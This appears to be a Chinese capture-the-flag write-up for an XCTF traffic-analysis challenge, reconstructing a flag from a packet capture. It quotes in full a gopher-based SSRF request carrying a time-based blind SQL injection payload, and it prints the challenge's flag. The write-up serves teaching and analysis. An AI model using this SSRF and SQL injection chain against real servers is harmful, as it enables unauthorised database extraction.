题目地址:攻防世界-流量分析1
https://adworld.xctf.org.cn/challenges/details?hash=e19dbf28-130a-11ed-9802-fa163e4fa66d&task_category_id=1
下载附件使用WireShark进行分析,往下滑动鼠标就可以发现有很多http请求中均带有/index.php?url=gopher://127.0.0.1:80/
感觉有点奇怪,根据以下该序号的HTTP流(选中数据包,右键选择跟踪流-HTTP流),可以看到请求中参数部分使用了url编码,尝试解码看看
搜索引擎搜索url在线解码,将上图中字符复制进行解码
经过一次解码发现还存在url编码,再进行一次解码
经过解码发现以下字符跟flag相关
if((ascii(substr((select flag from flag),1,1))='40'),sleep(3),0)
从最里面substr开始看,使用substr对select flag from flag结果进行字符串截取,根据语法查看截取select flag from flag结果的首个字符
https://baike.baidu.com/item/substr/10685875
如果首个字符的ascii值为40,则延时3秒sleep(3),ascii值不为40,则不延时。
于是可以得知最终拼接出来的字符跟flag相关的都需要延时3秒,通过语法过滤出来该部分数据包。
http.time>3
根据数据包一个个进行过滤,举例第一个数据包,选中数据包右键跟踪数据流-HTTP流,复制http请求进行两次url解码
GET /index.php?url=gopher://127.0.0.1:80/_POST%20%2Fadmin.php%20HTTP%2F1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2Fx-www-form-urlencoded%250d%250aContent-Length%3A%2079%250d%250a%250d%250aid%253D1%2529%2520and%2520if%2528%2528ascii%2528substr%2528%2528select%2520flag%2520from%2520flag%2529%252C1%252C1%2529%2529%253D%2527102%2527%2529%252Csleep%25283%2529%252C0%2529%2520--%2520 HTTP/1.1
解码结果为
查看ascii值为102的字符为f
以此类推拼接出flag为flag{1qwy2781}